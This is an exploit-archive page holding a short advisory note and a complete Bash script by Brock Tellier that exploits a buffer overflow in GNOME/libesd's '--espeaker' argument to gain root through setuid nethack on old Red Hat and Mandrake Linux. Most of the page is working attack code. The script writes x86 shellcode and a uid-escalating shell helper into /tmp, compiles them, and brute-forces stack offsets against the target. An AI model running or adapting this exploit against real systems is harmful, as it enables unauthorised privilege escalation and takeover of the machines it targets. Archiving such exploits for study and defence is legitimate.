132 lines
No EOL
3.3 KiB
Bash
Executable file
132 lines
No EOL
3.3 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/663/info
|
|
|
|
A buffer overflow vulnerabilityin GNOME's shared libraries handling of the 'espeaker' command line argument may allow local users to attack setuid binaries linked against these libraries to obtain root access.
|
|
|
|
Calling a program linked against GNOME with the command like arguments '--enable-sound --espeaker=<80 byte buffer>' results in a buffer overflow.
|
|
|
|
One known setuid root program linked against these libraries in the Mandrake 6.0 distribution is '/usr/games/nethack'.
|
|
|
|
It is likely this is a vulnerability in the libesd shared library instead of libgnome. In that case esound 0.2.8 would be vulnerable.
|
|
|
|
#!/bin/bash
|
|
# Generic exploit for GNOME apps under Linux x86
|
|
# Our overflowed buffer is just 80 bytes so we'll have to get our settings
|
|
# just so. Hence the shell script.
|
|
#
|
|
# This should work against any su/gid GNOME program. The only one that comes
|
|
# with RH6.0 that is su/gid root is (the irony is killing me) nethack.
|
|
#
|
|
# Change the /usr/games/nethack statement in the while loop below to exploit
|
|
# a different program.
|
|
#
|
|
# -Brock Tellier btellier@webley.com
|
|
|
|
echo "Building /tmp/gnox.c..."
|
|
cat > /tmp/gnox.c <<EOF
|
|
/*
|
|
* Generic GNOME overflow exploit for Linux x86, tested on RH6.0
|
|
* Will work against any program using the GNOME libraries in the form
|
|
* Keep your BUFSIZ at 90 and only modify your offset
|
|
*
|
|
*/
|
|
|
|
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
|
|
char gnoshell[]= /* Generic Linux x86 shellcode modified to run our
|
|
program */
|
|
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
|
|
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
|
|
"\x80\xe8\xdc\xff\xff\xff/tmp/gn";
|
|
|
|
#define LEN 120
|
|
#define BUFLEN 90 /* no need to change this */
|
|
#define NOP 0x90
|
|
#define DEFAULT_OFFSET 300
|
|
|
|
unsigned long get_sp(void) {
|
|
|
|
__asm__("movl %esp, %eax");
|
|
|
|
}
|
|
|
|
void main(int argc, char *argv[]) {
|
|
|
|
int offset, i;
|
|
int buflen = BUFLEN;
|
|
long int addr;
|
|
char buf[BUFLEN];
|
|
char gnobuf[LEN];
|
|
if(argc > 2) {
|
|
fprintf(stderr, "Error: Usage: %s <offset>\n", argv[0]);
|
|
exit(0);
|
|
}
|
|
else if (argc == 2){
|
|
offset=atoi(argv[1]);
|
|
}
|
|
else {
|
|
offset=DEFAULT_OFFSET;
|
|
}
|
|
|
|
|
|
addr=get_sp();
|
|
|
|
fprintf(stderr, "Generic GNOME exploit for Linux x86\n");
|
|
fprintf(stderr, "Brock Tellier btellier@webley.com\n\n");
|
|
fprintf(stderr, "Using addr: 0x%x buflen:%d offset:%d\n", addr-offset,
|
|
buflen, offset);
|
|
|
|
memset(buf,NOP,buflen);
|
|
memcpy(buf+35,gnoshell,strlen(gnoshell));
|
|
for(i=35+strlen(gnoshell);i<buflen-4;i+=4)
|
|
*(int *)&buf[i]=addr-offset;
|
|
|
|
sprintf(gnobuf, "--enable-sound --espeaker=%s", buf);
|
|
for(i=0;i<strlen(gnobuf);i++)
|
|
putchar(gnobuf[i]);
|
|
|
|
}
|
|
EOF
|
|
|
|
echo "...done!"
|
|
|
|
echo "Building /tmp/gn.c..."
|
|
|
|
cat > /tmp/gn.c <<EOF
|
|
#include <unistd.h>
|
|
|
|
void main() {
|
|
printf("before: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
|
|
geteuid(), getgid(), getegid());
|
|
|
|
setreuid(geteuid(), geteuid());
|
|
setregid(getegid(), getegid());
|
|
|
|
printf("after: uid=%d, euid=%d, gid=%d, egid=%d\n", getuid(),
|
|
geteuid(), getgid(), getegid());
|
|
|
|
system("/bin/bash");
|
|
}
|
|
EOF
|
|
|
|
echo "...done!"
|
|
|
|
echo "Compiling /tmp/gnox..."
|
|
gcc -o /tmp/gnox /tmp/gnox.c
|
|
echo "...done!"
|
|
|
|
echo "Compiling /tmp/gn..."
|
|
gcc -o /tmp/gn /tmp/gn.c
|
|
echo "...done!"
|
|
|
|
echo "Launching attack..."
|
|
|
|
offset=0
|
|
|
|
while [ $offset -lt 10000 ]; do
|
|
/usr/games/nethack `/tmp/gnox $offset`
|
|
offset=`expr $offset + 4`
|
|
done
|
|
|
|
echo "...done!" |